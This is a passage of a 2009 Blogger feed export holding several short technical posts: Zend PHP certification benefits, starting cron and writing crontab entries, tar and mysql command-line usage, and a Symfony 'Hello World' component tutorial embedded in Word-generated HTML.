/&gt;Boost your value at your annual salary review&lt;br /&gt;Get your resume/CV noticed&lt;br /&gt;Gain recognition from your employer&lt;br /&gt;Have your profile displayed in Zend's Yellow Pages for PHP Professionals&lt;br /&gt;Join the Linkedin Group Exclusively for ZCE's&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Personal Rewards&lt;br /&gt;&lt;/span&gt;Be recognized as a proud and dedicated supporter of PHP&lt;br /&gt;Show your commitment to the spread and growth of PHP&lt;br /&gt;Help the community prove that PHP is reliable, stable and dependable&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Rewards from Zend&lt;br /&gt;&lt;/span&gt;Be listed in Zend's PHP Yellow Pages &lt;br /&gt;Used by employers and recruiters to find top PHP developers worldwide&lt;br /&gt;Personalize your listing by uploading your photo, inputting your company information, CV details&lt;br /&gt;Get special discounts on Zend PHP conferences worldwide&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-1340025340709613792?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/1340025340709613792/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/benefits-for-zend-certification.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/1340025340709613792'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/1340025340709613792'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/benefits-for-zend-certification.html' title='Benefits for Zend Certification'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-6886507873876423910</id><published>2009-03-30T09:22:00.000-07:00</published><updated>2009-03-30T09:23:11.935-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Zend'/><title type='text'>PHP - Zend Certification</title><content type='html'>Zend Certifications set the industry standard for PHP certifications, recognizing outstanding expertise and delivering a measure of distinction for PHP 5 and Zend Framework developers. Utilizing exam topics specified by a neutral board of top PHP experts and community members worldwide, the Zend PHP 5 Certification and Zend Framework Certification ensure Zend Certified Engineers a clear advantage.&lt;br /&gt;&lt;br /&gt;Certifications that employers value&lt;br /&gt;Because the exam is created with specific skills, knowledge and competencies that are matched to real-world job functions, Zend Certifications provide a measure of technical distinction that employers use to evaluate prospective employees.&lt;br /&gt;&lt;br /&gt;“Becoming a certified expert brings many benefits to the engineer, to the company, and its clients,” “The ZCE Certification demonstrates that the development team keeps in step with the latest PHP technology. And it helps to show our customers and prospects that we have highly qualified PHP developers where it matters most of all - their critical projects.” Dmitry Karpovich, Oxagile CEO.&lt;br /&gt;&lt;br /&gt;Certifications that meet the standards of accreditation&lt;br /&gt;Sponsored by Zend and developed according to American National Standards Institute (ANSI) standards, Zend Certification programs are designed to test a candidate’s level of knowledge without prejudice to other technologies. The tests use a set of testing questions that reflect real-world scenarios, including knowledge in many areas ranging from basics to the more complex topics.&lt;br /&gt;&lt;br /&gt;Exams&lt;br /&gt;Zend Framework Certification&lt;br /&gt;PHP 5 Certification&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-6886507873876423910?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/6886507873876423910/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/php-zend-certification.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/6886507873876423910'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/6886507873876423910'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/php-zend-certification.html' title='PHP - Zend Certification'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-323864790421105060</id><published>2009-03-30T03:36:00.000-07:00</published><updated>2009-03-30T03:39:57.390-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>How to start Linux cron daemon?</title><content type='html'>These are the following steps to start a cron daemon on Linux environment:&lt;br /&gt;&lt;br /&gt;1: shell&gt; cd /etc/init.d&lt;br /&gt;2: shell&gt; ./cron&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-323864790421105060?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/323864790421105060/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/how-to-start-linux-cron-daemon.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/323864790421105060'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/323864790421105060'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/how-to-start-linux-cron-daemon.html' title='How to start Linux cron daemon?'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-6581807249885640665</id><published>2009-03-30T03:34:00.000-07:00</published><updated>2009-03-30T03:40:13.251-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>How to schedule a Cron job in Linux enviornment?</title><content type='html'>cron is a Linux system process that will execute a program at a preset time. To use cron you must prepare a text file that describes the program that you want executed and the times that cron should execute them. Then you use the crontab program to load the text file that describes the cron jobs into cron.&lt;br /&gt;&lt;br /&gt;Here is the format of a cron job file:&lt;br /&gt;&lt;br /&gt;[min] [hour] [day of month] [month] [day of week] [program to be run]&lt;br /&gt;&lt;br /&gt;where each field is defined as&lt;br /&gt;[min] Minutes that program should be executed on. 0-59. Do not set as * or the program will be run once a minute.&lt;br /&gt;[hour] Hour that program should be executed on. 0-23. * for every hour.&lt;br /&gt;[day of month] Day of the month that process should be executed on. 1-31. * for every day.&lt;br /&gt;[month] Month that program whould be executed on. 1-12 * for every month.&lt;br /&gt;[day of week] Day of the week. 0-6 where Sunday = 0, Monday = 1, ...., Saturday = 6. * for every day of the week.&lt;br /&gt;[program] Program to be executed. Include full path information.&lt;br /&gt;&lt;br /&gt;Here are some examples:&lt;br /&gt;&lt;br /&gt;0,15,30,45 * * * * /usr/bin/foo&lt;br /&gt;&lt;br /&gt;Will run /usr/bin/foo every 15 minutes on every hour, day-of-month, month, and day-of-week. In other words, it will run every 15 minutes for as long as the machine it running.&lt;br /&gt;&lt;br /&gt;10 3 * * * /usr/bin/foo&lt;br /&gt;&lt;br /&gt;Will run /usr/bin/foo at 3:10am on every day.&lt;br /&gt;&lt;br /&gt;10 * 1 * * /usr/bin/foo&lt;br /&gt;&lt;br /&gt;Will run /usr/bin/foo at 12:10am on the first day of the month.&lt;br /&gt;&lt;br /&gt;10 * * 1 * /usr/bin/foo&lt;br /&gt;&lt;br /&gt;Will run /usr/bin/foo at 12:10am on the first month of the year.&lt;br /&gt;&lt;br /&gt;10 14 * * 1 /usr/bin/foo&lt;br /&gt;&lt;br /&gt;Will run /usr/bin/foo at 2:10pm on every Monday.&lt;br /&gt;&lt;br /&gt;There are more options for these. See man man crontab -S 5.&lt;br /&gt;&lt;br /&gt;You must use crontab to load cron jobs into cron. First create a text file that uses the above rule to describe the cron job that you want to load into cron. But before you load it, type crontab -l to list any jobs that are currently loaded in crontab.&lt;br /&gt;&lt;br /&gt;If none are listed, then it is safe to load your job. Example. If you wanted to run /usr/local/bin/foo once a day at 3:10am, then create a text file&lt;br /&gt;&lt;br /&gt;10 3 * * * /usr/bin/foo&lt;br /&gt;&lt;br /&gt;Save it as foo.cron. Then type crontab foo.cron. Check to see if it was loaded by typing crontab -l. It should display something like this:&lt;br /&gt;&lt;br /&gt;# DO NOT EDIT THIS FILE - edit the master and reinstall.&lt;br /&gt;# (ipwatch.cron installed on Thu Nov 18 11:48:02 1999)&lt;br /&gt;# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)&lt;br /&gt;10 3 * * * /usr/bin/foo&lt;br /&gt;&lt;br /&gt;If you want to edit the cron job, then edit foo.cron and then remove the existing cron job (crontab -r) and load it again (crontab foo.cron). You can have multiple jobs. Just put each different one on a seperate line in foo.cron.&lt;br /&gt;&lt;br /&gt;contab jobs will run under the user that was in effect when you loaded the job in crontab.&lt;br /&gt;&lt;br /&gt;See man cron, man crontab and man crontab -S 5 for more information.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-6581807249885640665?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/6581807249885640665/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/how-to-schedule-cron-job-in-linux.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/6581807249885640665'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/6581807249885640665'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/how-to-schedule-cron-job-in-linux.html' title='How to schedule a Cron job in Linux enviornment?'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-8533514559869049901</id><published>2009-03-30T03:31:00.001-07:00</published><updated>2009-03-30T03:40:28.817-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>How to Zip/Unzip files in Linux CLI?</title><content type='html'>&lt;span style="font-weight:bold;"&gt;To zip a file or folder:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;tar -cvf filename.tar directory/file&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;To Unzip a file or folder:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;tar -xvf filename.tar&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-8533514559869049901?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/8533514559869049901/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/how-to-zipunzip-files-in-linux-cli.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/8533514559869049901'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/8533514559869049901'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/how-to-zipunzip-files-in-linux-cli.html' title='How to Zip/Unzip files in Linux CLI?'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-2043958341893879650</id><published>2009-03-30T03:26:00.000-07:00</published><updated>2009-03-30T03:40:41.935-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><title type='text'>How to execute SQL file from MySQL CLI?</title><content type='html'>mysql -h &amp;lt;hostname&amp;gt; -u &amp;lt;usernam&amp;gt; -p &amp;lt;password&amp;gt; &amp;lt;dbname&amp;gt; &lt; "&amp;lt;sql_file_path&amp;gt;"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-2043958341893879650?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/2043958341893879650/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/how-to-execute-sql-file-from-mysql-cli.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/2043958341893879650'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/2043958341893879650'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/how-to-execute-sql-file-from-mysql-cli.html' title='How to execute SQL file from MySQL CLI?'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-1918877685482192266</id><published>2009-03-30T02:58:00.000-07:00</published><updated>2009-03-30T03:19:48.791-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Symfony'/><title type='text'>Symfony - A Sample Application</title><content type='html'>&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" latentstylecount="156"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Font Definitions */  @font-face  {font-family:Cambria;  panose-1:2 4 5 3 5 4 6 3 2 4;  mso-font-charset:0;  mso-generic-font-family:roman;  mso-font-pitch:variable;  mso-font-signature:-1610611985 1073741899 0 0 159 0;} @font-face  {font-family:Calibri;  panose-1:2 15 5 2 2 2 4 3 2 4;  mso-font-charset:0;  mso-generic-font-family:swiss;  mso-font-pitch:variable;  mso-font-signature:-1610611985 1073750139 0 0 159 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal  {mso-style-parent:"";  margin:0in;  margin-bottom:.0001pt;  mso-pagination:widow-orphan;  mso-hyphenate:none;  font-size:11.0pt;  mso-bidi-font-size:10.0pt;  font-family:Cambria;  mso-fareast-font-family:"Times New Roman";  mso-bidi-font-family:Arial;  mso-ansi-language:EN-GB;  mso-fareast-language:AR-SA;} p.NoSpacing, li.NoSpacing, div.NoSpacing  {mso-style-name:"No Spacing";  mso-style-parent:"";  mso-style-link:"No Spacing Char";  margin:0in;  margin-bottom:.0001pt;  mso-pagination:widow-orphan;  font-size:11.0pt;  font-family:Calibri;  mso-fareast-font-family:"Times New Roman";  mso-bidi-font-family:"Times New Roman";} span.NoSpacingChar  {mso-style-name:"No Spacing Char";  mso-style-locked:yes;  mso-style-link:"No Spacing";  mso-ansi-font-size:11.0pt;  mso-bidi-font-size:11.0pt;  font-family:Calibri;  mso-ascii-font-family:Calibri;  mso-hansi-font-family:Calibri;  mso-ansi-language:EN-US;  mso-fareast-language:EN-US;  mso-bidi-language:AR-SA;} p.ListParagraph, li.ListParagraph, div.ListParagraph  {mso-style-name:"List Paragraph";  mso-style-link:"List Paragraph Char";  margin-top:0in;  margin-right:0in;  margin-bottom:0in;  margin-left:.5in;  margin-bottom:.0001pt;  mso-add-space:auto;  mso-pagination:widow-orphan;  mso-hyphenate:none;  font-size:11.0pt;  mso-bidi-font-size:10.0pt;  font-family:Cambria;  mso-fareast-font-family:"Times New Roman";  mso-bidi-font-family:Arial;  mso-ansi-language:EN-GB;  mso-fareast-language:AR-SA;} p.ListParagraphCxSpFirst, li.ListParagraphCxSpFirst, div.ListParagraphCxSpFirst  {mso-style-name:"List ParagraphCxSpFirst";  mso-style-link:"List Paragraph Char";  mso-style-type:export-only;  margin-top:0in;  margin-right:0in;  margin-bottom:0in;  margin-left:.5in;  margin-bottom:.0001pt;  mso-add-space:auto;  mso-pagination:widow-orphan;  mso-hyphenate:none;  font-size:11.0pt;  mso-bidi-font-size:10.0pt;  font-family:Cambria;  mso-fareast-font-family:"Times New Roman";  mso-bidi-font-family:Arial;  mso-ansi-language:EN-GB;  mso-fareast-language:AR-SA;} p.ListParagraphCxSpMiddle, li.ListParagraphCxSpMiddle, div.ListParagraphCxSpMiddle  {mso-style-name:"List ParagraphCxSpMiddle";  mso-style-link:"List Paragraph Char";  mso-style-type:export-only;  margin-top:0in;  margin-right:0in;  margin-bottom:0in;  margin-left:.5in;  margin-bottom:.0001pt;  mso-add-space:auto;  mso-pagination:widow-orphan;  mso-hyphenate:none;  font-size:11.0pt;  mso-bidi-font-size:10.0pt;  font-family:Cambria;  mso-fareast-font-family:"Times New Roman";  mso-bidi-font-family:Arial;  mso-ansi-language:EN-GB;  mso-fareast-language:AR-SA;} p.ListParagraphCxSpLast, li.ListParagraphCxSpLast, div.ListParagraphCxSpLast  {mso-style-name:"List ParagraphCxSpLast";  mso-style-link:"List Paragraph Char";  mso-style-type:export-only;  margin-top:0in;  margin-right:0in;  margin-bottom:0in;  margin-left:.5in;  margin-bottom:.0001pt;  mso-add-space:auto;  mso-pagination:widow-orphan;  mso-hyphenate:none;  font-size:11.0pt;  mso-bidi-font-size:10.0pt;  font-family:Cambria;  mso-fareast-font-family:"Times New Roman";  mso-bidi-font-family:Arial;  mso-ansi-language:EN-GB;  mso-fareast-language:AR-SA;} span.ListParagraphChar  {mso-style-name:"List Paragraph Char";  mso-style-locked:yes;  mso-style-link:"List Paragraph";  mso-ansi-font-size:11.0pt;  font-family:Cambria;  mso-ascii-font-family:Cambria;  mso-hansi-font-family:Cambria;  mso-bidi-font-family:Arial;  mso-ansi-language:EN-GB;  mso-fareast-language:AR-SA;  mso-bidi-language:AR-SA;} @page Section1  {size:8.5in 11.0in;  margin:1.0in 1.25in 1.0in 1.25in;  mso-header-margin:.5in;  mso-footer-margin:.5in;  mso-paper-source:0;} div.Section1  {page:Section1;}  /* List Definitions */  @list l0  {mso-list-id:1584875227;  mso-list-type:hybrid;  mso-list-template-ids:-487925106 67698703 67698713 67698715 67698703 67698713 67698715 67698703 67698713 67698715;} @list l0:level1  {mso-level-tab-stop:none;  mso-level-number-position:left;  text-indent:-.25in;  mso-bidi-font-family:"Times New Roman";} ol  {margin-bottom:0in;} ul  {margin-bottom:0in;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable  {mso-style-name:"Table Normal";  mso-tstyle-rowband-size:0;  mso-tstyle-colband-size:0;  mso-style-noshow:yes;  mso-style-parent:"";  mso-padding-alt:0in 5.4pt 0in 5.4pt;  mso-para-margin:0in;  mso-para-margin-bottom:.0001pt;  mso-pagination:widow-orphan;  font-size:10.0pt;  font-family:"Times New Roman";  mso-ansi-language:#0400;  mso-fareast-language:#0400;  mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;  &lt;p class="MsoNormal" style="margin-bottom: 10pt; line-height: 115%;"&gt;&lt;span lang="EN-GB"&gt;By following the steps below, a developer will be able to create the “Hello World” PHI Component.&lt;span style=""&gt;  &lt;/span&gt;For this example, the “Hello World” component will be an Application Component so its base directory will be $APP_BASE .&lt;i style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="ListParagraph" style="margin-bottom: 10pt; text-indent: -0.25in; line-height: 115%;"&gt;&lt;!--[if !supportLists]--&gt;&lt;i style=""&gt;&lt;span style="" lang="EN-GB"&gt;&lt;span style=""&gt;1.&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;!--[endif]--&gt;&lt;span lang="EN-GB"&gt;Create the “Hello World” Controller file in the &lt;i style=""&gt;$APP_BASE/templates/helloWorldComponent.class.php&lt;/i&gt;&lt;span style=""&gt;  &lt;/span&gt;which contains the following code:&lt;i style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.5in;"&gt;&lt;span style=";font-family:Arial;font-size:9;color:gray;"    lang="EN-GB"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.5in;"&gt;&lt;span style=";font-family:Arial;font-size:9;color:gray;"    lang="EN-GB"&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.5in;"&gt;&lt;span style=";font-family:Arial;font-size:9;color:gray;"    lang="EN-GB"&gt;&lt;span style=""&gt;  &lt;/span&gt;class helloWorldComponent extends sfComponents&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.5in;"&gt;&lt;span style=";font-family:Arial;font-size:9;color:gray;"    lang="EN-GB"&gt;&lt;span style=""&gt;  &lt;/span&gt;{&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.5in;"&gt;&lt;span style=";font-family:Arial;font-size:9;color:gray;"    lang="EN-GB"&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;/**&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.5in;"&gt;&lt;span style=";font-family:Arial;font-size:9;color:gray;"    lang="EN-GB"&gt;&lt;span style=""&gt;   &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;* Executes contacts component&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.5in;"&gt;&lt;span style=";font-family:Arial;font-size:9;color:gray;"    lang="EN-GB"&gt;&lt;span style=""&gt;     &lt;/span&gt;*&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.5in;"&gt;&lt;span style=";font-family:Arial;font-size:9;color:gray;"    lang="EN-GB"&gt;&lt;span style=""&gt;     &lt;/span&gt;* @param sfRequest $request A request object&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.5in;"&gt;&lt;span style=";font-family:Arial;font-size:9;color:gray;"    lang="EN-GB"&gt;&lt;span style=""&gt;     &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.5in;"&gt;&lt;span style=";font-family:Arial;font-size:9;color:gray;"    lang="EN-GB"&gt;&lt;span style=""&gt;     &lt;/span&gt;public function execute( $request )&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.5in;"&gt;&lt;span style=";font-family:Arial;font-size:9;color:gray;"    lang="EN-GB"&gt;&lt;span style=""&gt;     &lt;/span&gt;{ &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.5in;"&gt;&lt;span style=";font-family:Arial;font-size:9;color:gray;"    lang="EN-GB"&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;/***&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.5in;"&gt;&lt;span style=";font-family:Arial;font-size:9;color:gray;"    lang="EN-GB"&gt;&lt;span style=""&gt;       &lt;/span&gt;* Set the data for the component by defining the $componentLoc-&gt;componentData&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.5in;"&gt;&lt;span style=";font-family:Arial;font-size:9;color:gray;"    lang="EN-GB"&gt;&lt;span style=""&gt;       &lt;/span&gt;* as shown below&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.5in;"&gt;&lt;span style=";font-family:Arial;font-size:9;color:gray;"    lang="EN-GB"&gt;&lt;span style=""&gt;       &lt;/span&gt;*/&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.5in;"&gt;&lt;span style=";font-family:Arial;font-size:9;color:gray;"    lang="EN-GB"&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;$componentLoc = $this-&gt;pgModel-&gt;getComponentLocation("helloWorld");&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.5in;"&gt;&lt;span style=";font-family:Arial;font-size:9;color:gray;"    lang="EN-GB"&gt;&lt;span style=""&gt;     &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;$componentLoc-&gt;componentData = 'Hello World';&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.5in;"&gt;&lt;span style=";font-family:Arial;font-size:9;color:gray;"    lang="EN-GB"&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;span style=""&gt;    &lt;/span&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.5in;"&gt;&lt;span style=";font-family:Arial;font-size:9;color:gray;"    lang="EN-GB"&gt;&lt;span style=""&gt;   &lt;/span&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.5in;"&gt;&lt;span style=";font-family:Arial;font-size:9;color:gray;"    lang="EN-GB"&gt;&lt;span style=""&gt;  &lt;/span&gt;?&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="NoSpacing" style="margin-left: 1in;"&gt;&lt;span style=";font-family:Arial;color:gray;"  &gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="ListParagraph" style="margin-bottom: 10pt; text-indent: -0.25in; line-height: 150%;"&gt;&lt;!--[if !supportLists]--&gt;&lt;i style=""&gt;&lt;span style="" lang="EN-GB"&gt;&lt;span style=""&gt;2.&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;!--[endif]--&gt;&lt;span lang="EN-GB"&gt;Create the default Component View file in the &lt;i style=""&gt;$APP_BASE/actions/_helloWorld.php with the following code.&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p 